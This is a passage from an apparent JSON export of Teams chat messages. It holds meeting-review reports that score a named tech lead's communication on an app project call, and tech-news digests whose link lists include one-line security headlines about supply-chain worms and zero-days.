handling.\\n  * **Grammar score:** 3/10 - Poor. Many captured sentences are incomplete, hard to parse, or use unclear word choices. Some may be Fathom transcription noise, but the call still reads difficult to follow.\\n  * **Communication score:** 5/10 - Needs Improvement. The meeting covered the right technical areas, but structure, ownership, and recap discipline were weak.\\n  * **Client-frustration handling score:** 5/10 - Needs Improvement. Latest call was mostly internal, but the broader pattern shows risk when timeline, access, or reason-for-question is not explained before asking for details.\\n  * **Client frustration risk:** 4/10 in the selected internal meeting; higher in client meetings when repeated clarifications or timeline delays appear.\\n\\n### 2\\\\. Conversation Summary\\n\\nThe latest meeting reviewed Math IQ app status, Flutter/backend architecture,\\nmigration from cloud functions to Supabase, push notifications, Google login,\\nTTS/audio playback, grammar correction, Learn Flow, Roleplay, referral\\nhandling, scheduled notifications, payment logic, and documentation. The team\\ndid surface useful tasks, but the conversation was difficult to follow because\\nseveral requests were broad, repeated, or missing a clear\\nowner/date/acceptance-criteria recap.\\n\\n### 3\\\\. What Went Well\\n\\n  * Important technical risks were raised, including backend migration, payment logic, TTS/audio, login, and production cleanup.\\n  * The team did identify concrete follow-ups such as documentation, migration cleanup, feature fixes, testing, and disabling non-priority items.\\n  * Across prior meetings, access negotiation improved: when code access was not available, tester/app access was accepted as a practical alternative.\\n  * In the Apr 6 comparison meeting, rollout risk thinking was stronger: backend first, app submissions separately, rollback if needed, and user migration planning.\\n\\n### 4\\\\. Priority Issues Ranked By Business Impact\\n\\n  1. **High impact - Unclear opening and context.** Evidence: selected transcript L1 @ 00:02 and L2 @ 02:33. The opening did not clearly state agenda, meeting goal, or expected output, which makes the meeting harder to control.\\n  2. **High impact - Broad status request without a checklist.** Evidence: L3 @ 03:03 asked for what is complete and what remains, but not by module, blocker, owner, or due date. This increases risk of missed scope.\\n  3. **High impact - Technical migration discussion lacked decision framing.** Evidence: L6 @ 18:37 covered Supabase migration, webhooks, TTS, queues, keys, and removed tables in one long block. This should have been split into clear decisions and owners.\\n  4. **High impact - Vague task handoff.** Evidence: L11 @ 30:53 asked to check payment logic, but did not define expected behavior, test cases, failure states, or success criteria.\\n  5. **Medium impact - Repeated completion checks.** Evidence: L4 @ 09:49, L5 @ 18:08-18:20, L8 @ 24:15, and L12 @ 31:30-32:04. Repeating done/complete/clear without a precise feature name can waste time and create confusion.\\n  6. **Medium impact - Client delay concern pattern.** Evidence: Apr 6 comparison transcript T2 @ 35:01. The client indicated they had asked repeatedly about timing and still did not understand the delay. This is a trust risk if not acknowledged early.\\n  7. **Low to medium impact - Meeting close was too weak.** Evidence: L13 @ 32:22-32:35. The call ended without a crisp recap of decisions, owners, deadlines, and risks.\\n\\n### 5\\\\. Missed Opportunities\\n\\n  * Start with a 30-second agenda: status, blockers, migration, bugs, owners, deadlines.\\n  * Use a module checklist instead of broad questions like what is complete and what is remaining.\\n  * After each answer, repeat the decision, owner, deadline, and test evidence.\\n  * Explain why access or technical details are needed before asking the client for them.\\n  * Separate internal debugging from client-facing business impact.\\n  * End with a written recap promise and send it immediately after the meeting.\\n\\n### 6\\\\. Repeated Questions\\n\\n  * Completion checks repeated without enough specificity: done, complete, clear, okay.\\n  * Testing questions repeated around Google login, TTS/audio, grammar correction, Roleplay, and notifications.\\n  * Some follow-up was necessary because the transcript was unclear, but repetition could be reduced by keeping a visible checklist and closing each topic before moving on.\\n\\n### 7\\\\. Unclear Requests And Better Versions\\n\\n  * **Unclear:** Tell how much is complete and how much is remaining. **Better:** Please list each module with status, blocker, owner, due date, and test evidence.\\n  * **Unclear:** Do we use Firebase? **Better:** Are we using Firebase for push notifications only, or also auth, database, cloud functions, or analytics?\\n  * **Unclear:** Is it done? **Better:** Is this feature implemented, tested on staging, and verified against the expected behavior?\\n  * **Unclear:** Check payment logic. **Better:** Verify purchase success, webhook update, entitlement allocation, failure handling, and refund/cancel behavior.\\n\\n### 8\\\\. Necessary Follow-Up Vs Unnecessary Repetition\\n\\n**Necessary follow-up questions:**\\n\\n  * Asking for tester access before estimating or quoting.\\n  * Confirming which backend services still depend on cloud functions.\\n  * Confirming whether login, audio/TTS, grammar correction, and Roleplay are actually tested.\\n  * Asking about production rollout, app approval risk, rollback, and user migration.\\n\\n**Unnecessary repetition:**\\n\\n  * Repeating complete/done/clear after the same answer without narrowing the exact feature.\\n  * Re-asking information that should be captured in the checklist.\\n  * Continuing a topic after owner and action are already known instead of closing it.\\n\\n### 9\\\\. Root Causes Of Client Frustration\\n\\n  * Questions are sometimes asked before the business reason is explained.\\n  * Clients may hear repeated technical questions as uncertainty rather than discovery.\\n  * Timeline or delay explanations are sometimes reactive instead of proactive.\\n  * Broad questions create extra clarification work for the client.\\n  * Missing recap discipline means decisions may need to be repeated in future calls.\\n\\n### 10\\\\. Communication Pattern Trend Across Recent Meetings\\n\\n**Improved over time:**\\n\\n  * Access negotiation became more practical: the Apr 20 call moved from code access to tester/app access without blocking the quote process.\\n  * Risk planning improved in production-launch discussions, especially rollback and user migration.\\n  * Fathom action-item capture has become more consistent in recent calls.\\n  * Recent meetings show better awareness of dependencies across backend, app stores, payments, and user impact.\\n\\n**Recurring weaknesses still showing up:**\\n\\n  * English polish and sentence clarity remain weak in client-facing explanations.\\n  * Meeting control is inconsistent: agenda, topic boundaries, and recap are not always clear.\\n  * Broad questions and repeated clarifications keep appearing in technical meetings.\\n  * Business-impact framing often comes after technical details instead of before them.\\n  * Timeline expectations need more proactive communication before the client asks again.\\n\\n### 11\\\\. Recommended Actions\\n\\n  1. **Before each meeting:** Prepare a one-page checklist with agenda, modules, open questions, risks, and required decisions.\\n  2. **During the meeting:** Ask one question at a time, then confirm: decision, owner, due date, and test evidence.\\n  3. **For client questions:** Start with why the detail is needed, then ask the question.\\n  4. **For technical handoffs:** Use Feature / Expected behavior / Current issue / Owner / Due date / Test case.\\n  5. **After the meeting:** Send a recap within 15 minutes with decisions, owners, deadlines, and risks.\\n\\n### 12\\\\. Useful Replacement Phrases\\n\\n  * **Instead of:** Can you give access? **Say:** To estimate accurately, I need tester access to verify the current flow. Code access is not required at this stage.\\n  * **Instead of:** Is this done? **Say:** Can you confirm whether this feature is implemented, tested on staging, and matching the expected behavior?\\n  * **Instead of:** Why delay? **Say:** The delay is due to these risks: approval timing, backend compatibility, and rollback planning. Here is the current plan and fallback.\\n  * **Instead of:** Check this logic. **Say:** Please verify these five cases and report pass/fail with screenshots or logs.\\n\\n### Final Recommendation\\n\\nThe biggest improvement will come from structure, not only grammar. Use a\\nfixed meeting format: agenda, checklist, one question at a time, recap after\\neach topic, and final owner/date/action summary. Grammar practice is still\\nimportant, especially for client-facing estimation, risk, and timeline\\ncommunication.\",\n>       \"created_at\": \"2026-06-16T10:11:07.2Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604667200?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781174202082\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781174202082\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781174202082?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026** 1\\\\. [Deep dive: How Lightning\\nEngine delivers 4.9x faster Apache Spark\\nperformance](https://cloud.google.com/blog/products/data-analytics/lighting-\\nengine-for-apache-spark-performance-deep-dive/) - AI/cloud update that may\\naffect model access, deployment choices, developer workflows, or platform\\nstrategy. 2\\\\. [Choosing your surface: Antigravity 2.0, Antigravity CLI,\\nAntigravity IDE, or Antigravity\\nSDK](https://cloud.google.com/blog/topics/developers-practitioners/choosing-\\nyour-surface-antigravity-20-antigravity-cli-antigravity-ide-or-antigravity-\\nsdk/) - AI/cloud update that may affect model access, deployment choices,\\ndeveloper workflows, or platform strategy. 3\\\\. [Amazon SageMaker Unified\\nStudio Notebooks now support EMR Serverless](https://aws.amazon.com/about-\\naws/whats-new/2026/06/amazon-sagemaker-unified-studio-emr/) - AI/cloud update\\nthat may affect model access, deployment choices, developer workflows, or\\nplatform strategy. 4\\\\. [Amazon EC2 P6-B200 instances are now available in the\\nAWS GovCloud (US-East) Region](https://aws.amazon.com/about-aws/whats-\\nnew/2026/06/amazon-ec2-p6-b200-aws-govcloud/) - AI/ML update that may affect\\ndeveloper workflows, product strategy, platforms, or technical roadmaps. 5\\\\.\\n[Datadog veterans launch AI coding startup Niteshift on a bet against Big AI\\nlock-in](https://techcrunch.com/2026/06/10/datadog-veterans-launch-ai-coding-\\nstartup-niteshift-on-a-bet-against-big-ai-lock-in/) - AI coding agent startup\\nNiteshift has raised a $7 million seed round from a who's who of angels. It's\\nbetting companies will want power over, not lock-in with model makers. 6\\\\.\\n[For the 2nd time in weeks, Microsoft packages laced with credential\\nstealer](https://arstechnica.com/security/2026/06/for-the-2nd-time-in-weeks-\\nmicrosoft-packages-laced-with-credential-stealer/) - 73 packages run self-\\nreplicating stealer as soon as they're opened by an AI agent. 7\\\\. [Microsoft\\nand Adobe Patch Tuesday, June 2026 Security Update Review -\\nQualys](https://news.google.com/rss/articles/CBMizgFBVV95cUxNcWl1enRmR2J0R24zNUtZcDRrX3VSZTJCNHkxelZxaVgxeUJ5dnhkRTlLN0JuSXlkLVVCa2tySzVxZHUwOTdPcnNUXzR6V1FSTkdWWDVVeUoxYTlhSVVVRzRxRkNlM1ZUYjNJS0F2Y3pzeWxvRXUtaFpyVU9XSVoteDVFNGE5Z01od3hQbVJIeUVWRXBTNkMwZmVIUzJsZGp5cTV2aUp0dUpkSTVaNF8yX0VLQ2xvM1p5Snl1TEg3TVNZd2FuLUVnUU5YbTJIUQ?oc=5)\\n- Security, privacy, or infrastructure update relevant to technical leaders\\nand platform teams. 8\\\\. [PRC-linked influence operations are targeting AI\\ndebates in the US](https://openai.com/index/prc-linked-influence-operations-\\nai-debates) - AI/ML update that may affect developer workflows, product\\nstrategy, platforms, or technical roadmaps. 9\\\\. [Spec-Driven Development: A\\nSpec-First Approach to AI-Native\\nEngineering](https://devblogs.microsoft.com/blog/spec-driven-development-ai-\\nnative-engineering) - AI/ML update that may affect developer workflows,\\nproduct strategy, platforms, or technical roadmaps. 10\\\\. [Angry bug hunter\\nwith Microsoft beef drops new Windows\\n0-day](https://www.theregister.com/security/2026/06/10/nightmare-eclipse-\\npublishes-new-windows-defender-zero-day/5253725) - Revenge is a dish best\\nserved code 11\\\\. [Tumeryk joins Cloud Security Alliance on AI risk scoring -\\nSecurityBrief\\nUK](https://news.google.com/rss/articles/CBMilAFBVV95cUxQTTBPM0NJVk51OC1DNFVtcEFsUEhDMmlEWUZXRHN4QWpMSkNhbFZ2bzVndklMREg4MUE5cFo2akFhbk1hNi1qUGJ6RVI1eHJ0UDlNUnZWclhCT1Y3ckd3ZXhYUHhkem96WjY5TjFwcnJ5Si1KbVQyQVZ2eGprMl9MTTJsSFJDZDFaSnExdFdtbFNpMmZM?oc=5)\\n- AI/ML update that may affect developer workflows, product strategy,\\nplatforms, or technical roadmaps. 12\\\\. [Microsoft fixes BitLocker recovery bug\\non Windows Server\\n2025](https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-\\nbitlocker-recovery-bug-on-windows-server-2025/) - Security, privacy, or\\ninfrastructure update relevant to technical leaders and platform teams.\",\n>       \"created_at\": \"2026-06-11T10:36:42.082Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781174202082?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781173819999\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781173819999\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173819999?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026**\\n\\n  1. [Seeking Counsel: Ongoing Targeted Campaign Against US Law Firms](https://cloud.google.com/blog/topics/threat-intelligence/targeted-campaign-us-law-firms/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  2. [Report: GKE Inference Gateway delivers up to 92% faster AI responses](https://cloud.google.com/blog/products/containers-kubernetes/gke-inference-gateway-prefix-caching-accelerates-ai-inference/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  3. [Amazon EC2 M9g and M9gd general purpose instances are now available](https://aws.amazon.com/about-aws/whats-new/2026/06/ec2-m9g-m9gd-instances-graviton5-processors-available) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  4. [Run Interactive Workloads on Amazon EMR Serverless with Spark Connect](https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-emr-serverless-spark-connect) \\\\- Cloud or developer-platform update for teams managing infrastructure, deployments, or engineering workflows.\\n  5. [From data to decisions: how LSEG is scaling trusted AI](https://openai.com/index/lseg) \\\\- See how LSEG uses OpenAI to scale trusted AI across its global business, accelerating insights, shrinking release cycles, and empowering 4,000 employees.\\n  6. [TCS and Anthropic launch Global Premier Partnership to drive Enterprise AI scaling - Tata Consultancy Services](https://news.google.com/rss/articles/CBMiyAFBVV95cUxOOHNkYWdNVUtBc3lEOHFLd2RwQ1FoeE0xZXRIWTFYTzd5bFdjQ3kycXVWQ3Q4ZExGSE5zT2t5MUFFMmJ3enBJVnQ3VlhpX3NrNlM3Sldyb1V4SVVVcWhhaVU1aUNwSmVjdnI0Wi1YQ2ZWRFJJQkR4WG1LNUJYVGg4RkdhZkktZ3hQeS1EYTdDdHZjZGtnVTNnWGxtZ052V2FNajFuQlNQMXlwc0lTaFc2TTJpNTJIaEx5RnNvQ3FNLXFkUkFLREpDRA?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  7. [Introducing the OpenAI Economic Research Exchange](https://openai.com/index/economic-research-exchange) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  8. [Kalshi adds required employment verification for some prediction market bets](https://www.theverge.com/business/948083/kalshi-prediction-markets-insider-trading) \\\\- The CFTC is considering its first regulation for prediction markets, as arrests over insider trading continue to stack up.\\n  9. [The Miasma worm source code briefly leaked on GitHub](https://www.bleepingcomputer.com/news/security/the-miasma-worm-source-code-briefly-leaked-on-github/) \\\\- The Miasma credential-stealing attack framework, which has recently targeted open-source ecosystems through supply-chain attacks, was briefly open-sourced on GitHub.\\n  10. [Microsoft Build 2026 recap: vision, launches, and top sessions](https://devblogs.microsoft.com/blog/build-recap) \\\\- Technology update likely relevant to software teams, technical leaders, or platform decision-makers.\\n  11. [Google Cloud unpacks governance challenges of AI agents - Computer Weekly](https://news.google.com/rss/articles/CBMiowFBVV95cUxOMHpUU0FSaUhFVFR2T0stZmM3c3VFZm94cjh1aTFkdmxIU1JDeVlUNlVRUWtTLWdMTHFpVVB0LUJ6b3FscTVncDJnMG1JclFLNzVhWjctblZiMmQtdmVYUkZ4S0dmNUhRSG1FcTZFaWx4Rks5VUNleC1yZmxXUXhrMmhMVnZVejFjUzhwNVpTWk9vNWZvNFY0cmRlQi1wTUpMZ3lv?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  12. [GitHub announces npm security changes to tackle supply-chain attacks](https://www.bleepingcomputer.com/news/security/github-announces-npm-security-changes-to-tackle-supply-chain-attacks/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  13. [Cohere releases North Mini Code, a 30B parameter open-source coding model built for enterprise developers - Crypto Briefing](https://news.google.com/rss/articles/CBMiakFVX3lxTE1zY1VWQTVJSktYY3Y1SmNlLUZjV1dSc0dYMjFza2dqSEstV0FiTHJ6X1BIVm82NEg3eU93aG82MTNzQXFLZ210eFpTWXZMSXhpTVBxSVlMUEhaY3h4MzdITXVNbV9MZUdmWkE?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  14. [Apple, Google add support for Thread 1.4](https://www.theverge.com/tech/947888/apple-google-add-support-for-thread-1-4) \\\\- Apple and Google are updating their smart home streaming devices to Thread 1.4.\\n  15. [GitHub pulls pin on npm's auto-run scripts](https://www.theregister.com/devops/2026/06/10/github-pulls-pin-on-npms-auto-run-scripts/5253453) \\\\- Shai-Hulud worm exploited exactly this. Better late than never, says everyone except the malware authors.\",\n>       \"created_at\": \"2026-06-11T10:30:19.999Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173819999?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781173130177\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781173130177\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173130177?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026**\\n\\n  1. [Detecting and containing AI-powered threats with Google Security Operations agents](https://cloud.google.com/blog/products/identity-security/detecting-and-containing-powered-threats-with-google-security-operations-agents/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  2. [What's new for Managed Service for Apache Spark clusters](https://cloud.google.com/blog/products/data-analytics/enhancements-to-managed-service-for-apache-spark-clusters/) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  3. [OpenAI GPT-5.4 and GPT-5.5 models now available in US East (N. Virginia) on Amazon Bedrock](https://aws.amazon.com/about-aws/whats-new/2026/06/openai-gpt-us-east-virginia-amazon/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  4. [Amazon OpenSearch Service launches MCP Apps for agentic observability](https://aws.amazon.com/about-aws/whats-new/2026/06/opensearch-agentic-observability-mcp-app) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  5. [Access OpenAI models and Codex through your Oracle cloud commitment](https://openai.com/index/openai-on-oracle-cloud) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  6. [Show HN: HelixDB - A graph database built on object storage](https://github.com/HelixDB/helix-db/tree/main) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  7. [Microsoft patches Exchange Server zero-day exploited in attacks](https://www.bleepingcomputer.com/news/microsoft/microsoft-patches-exchange-server-zero-day-exploited-in-attacks/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  8. [Is your agent extension actually working?](https://devblogs.microsoft.com/blog/is-your-agent-extension-actually-working) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  9. [Give GitHub Copilot CLI real code intelligence with language servers](https://github.blog/ai-and-ml/github-copilot/give-github-copilot-cli-real-code-intelligence-with-language-servers/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  10. [GitHub nukes 70+ Microsoft repos, breaks CI/CD pipelines, following suspected worm infections](https://www.theregister.com/security/2026/06/08/github-nukes-70-microsoft-repos-amid-suspected-worm-attack/5252169) \\\\- Miasma worm shapeshifts, but cloud secret-scouting remains the goal\\n  11. [Supporting Europe's work in ensuring a trustworthy AI ecosystem](https://openai.com/index/supporting-eu-trustworthy-ai-ecosystem) \\\\- OpenAI supports the EU Code of Practice on AI content transparency, advancing provenance standards and tools to help people understand AI-generated content.\\n  12. [Microsoft Defender 'RoguePlanet' zero-day grants SYSTEM privileges](https://www.bleepingcomputer.com/news/microsoft/microsoft-defender-rogueplanet-zero-day-grants-system-privileges/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  13. [Google joins the Eclipse Foundation as a strategic member to accelerate AI-integrated developer tools - blog.google](https://news.google.com/rss/articles/CBMi4gFBVV95cUxPSHl5NnhaYVhKTVpPVjMxTGxiWGc0TXZDUXMzSUxtb1h3dklETGhjMlpiNE1zaXBtcDRxUGNwRG5NbXRfYTJpbFRidjdwNlFXVmVFaHd5eWZWQ0tvb0JaakpYMjI0eEFVWWY0YnNwS0xVdFhmVUFUWHA1Xzh4SExlYnRRUHZfazU0bWZzWDFQeTNBLVpheDVWUmkyMzhyWmNqSHRPS3hxQV9xM01ET2g3aElDRmZjNHFZdWJhUWN5RERUMkpka1d4djNReGFHU3I2d1h1U1R1XzgzUUc0VmFfc3hn?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\",\n>       \"created_at\": \"2026-06-11T10:18:50.177Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173130177?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781171262336\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781171262336\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171262336?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report - Updated Format\\n\\n**Source meeting:** Math IQ review, Apr 21, 2026  \\n**Fathom link:**   \\n**Comparison context:** Latest meeting transcript plus the latest 20 Jenish-\\nled Fathom interactions where available.\\n\\n**Score rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent\\n\\n### 1\\\\. Score Summary\\n\\n  * **Overall score:** 4.7/10 - Needs Improvement  \\nAverage of Grammar, Communication, and Client Frustration Handling scores.\\n\\n  * **Grammar score:** 3/10 - Poor\\n  * **Communication score:** 5/10 - Needs Improvement\\n  * **Client frustration handling score:** 6/10 - Needs Improvement\\n  * **Client frustration risk:** 4/10 - Low to medium in the latest internal call, but higher in client calls when timeline or access expectations are unclear.\\n\\n### 2\\\\. Conversation Summary\\n\\nThe latest meeting was mostly an internal technical review for the Math IQ\\napp. The team discussed app status, migration from Cloud Functions to\\nSupabase, Firebase push notifications, Google login issues, TTS/audio playback\\nbugs, grammar correction UI, Learn Flow, Roleplay flow, referral program,\\nscheduled notifications, and documentation needs.\\n\\nThe meeting produced useful action items, but the discussion was hard to\\nfollow because many requests were incomplete, repeated, or missing clear\\nownership and deadline framing.\\n\\n### 3\\\\. Priority Issues Ranked By Business Impact\\n\\n  1. **High impact:** Unclear client-facing explanation can reduce trust and make the team look unsure.\\n  2. **High impact:** No structured recap can create delivery confusion and missed expectations.\\n  3. **High impact:** Weak grammar and incomplete sentences reduce confidence during estimation, negotiation, and status updates.\\n  4. **Medium impact:** Repeated questions increase meeting time and can frustrate clients.\\n  5. **Medium impact:** Missing owner/date/action formatting makes follow-up harder.\\n  6. **Low to medium impact:** Internal meetings are productive but inefficient when agenda and checklist are absent.\\n\\n### 4\\\\. Missed Opportunities\\n\\n  * Start with a clear agenda: current status, blockers, migration plan, bugs, owners, and deadlines.\\n  * Summarize each topic before moving to the next one.\\n  * Ask developers to confirm acceptance criteria, not just whether something is done.\\n  * Use a visible checklist to avoid repeating the same questions.\\n  * In client-facing calls, explain why access or technical details are needed before asking for them.\\n  * Close with a written recap: decision, owner, due date, and risk.\\n\\n### 5\\\\. Repeated Questions\\n\\n  * Repeated checks like: done?, complete?, okay?, and is it clear? without naming the exact feature.\\n  * Repeated checks around TTS/audio, grammar correction, Roleplay, and referral without a final decision statement.\\n  * Some clarification was necessary because the transcript and conversation were unclear, but several repeats could have been avoided by summarizing after each answer.\\n\\n### 6\\\\. Unclear Requests And Better Versions\\n\\n  * **Unclear:** Tell us details how much complete and how much rest.  \\n**Better:** Please list completed modules, pending modules, blockers, and\\nestimated time for each pending item.\\n\\n  * **Unclear:** Do you use Firebase?  \\n**Better:** Are we using Firebase only for push notifications, or also for\\nauth, database, or Cloud Functions?\\n\\n  * **Unclear:** Is this done?  \\n**Better:** Can you confirm whether this feature is implemented, tested, and\\nworking on staging?\\n\\n  * **Unclear:** Check Stripe logic.  \\n**Better:** Verify Stripe subscription purchase, webhook update, coin\\nallocation, and failure handling.\\n\\n### 7\\\\. Necessary Follow-Up Questions vs Unnecessary Repetition\\n\\n**Necessary follow-up questions:**\\n\\n  * Asking for app/test access before quoting or estimating.\\n  * Asking which backend services are still on Cloud Functions.\\n  * Asking whether Google login, TTS, grammar correction, and Roleplay are tested.\\n  * Asking about production rollout, rollback, and user migration risk.\\n\\n**Unnecessary repetition:**\\n\\n  * Repeating complete? or done? after the same answer without narrowing the issue.\\n  * Re-asking details that should be captured in a checklist.\\n  * Continuing a topic after the owner and action are already clear.\\n\\n### 8\\\\. Root Causes Of Client Frustration\\n\\n  * Clients may feel the team is asking many questions without first explaining why the information is required.\\n  * Delays can feel unexplained if risks, dependencies, and next steps are not communicated early.\\n  * Technical leads sometimes jump into implementation details before confirming the business outcome.\\n  * If questions are broad, the client may need to repeat information or clarify the same point multiple times.\\n\\n### 9\\\\. Communication Patterns Across Recent Interactions\\n\\n**Improvements seen:**\\n\\n  * Better practical next steps in recent calls.\\n  * Better access negotiation in the Apr 20 client call: tester access was accepted when code access was not possible.\\n  * Better risk thinking in the Apr 6 My Ayur call around production deployment, rollback, and user migration.\\n  * More consistent action-item capture in Fathom summaries.\\n\\n**Still missing:**\\n\\n  * More polished English for client-facing explanations.\\n  * Stronger meeting control: agenda, topic boundaries, and recaps.\\n  * Clear reason-before-request communication.\\n  * Proactive timeline updates before the client asks why something is delayed.\\n  * Consistent business-impact framing before technical details.\\n\\n### 10\\\\. Suggested Improvements\\n\\n**Recommended meeting structure:**\\n\\n  1. Start: Today we need to confirm status, blockers, and next steps.\\n  2. For each topic: Current status, issue, decision needed.\\n  3. Ask one question at a time.\\n  4. After each answer: So the decision is __, owner is __, deadline is __.\\n  5. End: I will send a recap with owners, dates, and risks.\\n\\n**Useful replacement phrases:**\\n\\n  * **Instead of:** Can you give access?  \\n**Say:** To estimate accurately, I need tester access to verify the current\\nflow. Code access is not required at this stage.\\n\\n  * **Instead of:** This is done?  \\n**Say:** Can you confirm whether this feature is implemented, tested, and\\nworking on staging?\\n\\n  * **Instead of:** Why delay?  \\n**Say:** The delay is due to two risks: app approval and backend\\ncompatibility. Our fallback plan is rollback if store approval fails.\\n\\n### Final Recommendation\\n\\nThe tech lead should focus first on meeting structure and clarity, not only\\ngrammar. The biggest improvement will come from using a fixed meeting format:\\nagenda, one question at a time, recap after each topic, and final\\nowner/date/action summary. Grammar improvement is also important, especially\\nfor client-facing estimation and risk communication.\",\n>       \"created_at\": \"2026-06-11T09:47:42.336Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171262336?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781171005304\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781171005304\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171005304?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**Meeting Reviewer Report** **Source:** Latest Fathom meeting: Math IQ review,\\nApr 21, 2026 https://fathom.video/calls/645205495 **Comparison context:**\\nReviewed the latest meeting transcript plus the latest 20 Jenish-led Fathom\\ninteractions where available. Recent client-facing comparison calls included\\nApr 20, 2026 and Apr 6, 2026. **Score rubric:** 1-3 Poor, 4-6 Needs\\nImprovement, 7-8 Good, 9-10 Excellent **Scores** \\\\- **Overall score:** 4.7/10\\n- Needs Improvement \\\\- **Grammar score:** 3/10 - Poor \\\\- **Communication\\nscore:** 5/10 - Needs Improvement \\\\- **Client frustration handling score:**\\n6/10 - Needs Improvement \\\\- **Client frustration risk level:** 4/10 - Low to\\nmedium in 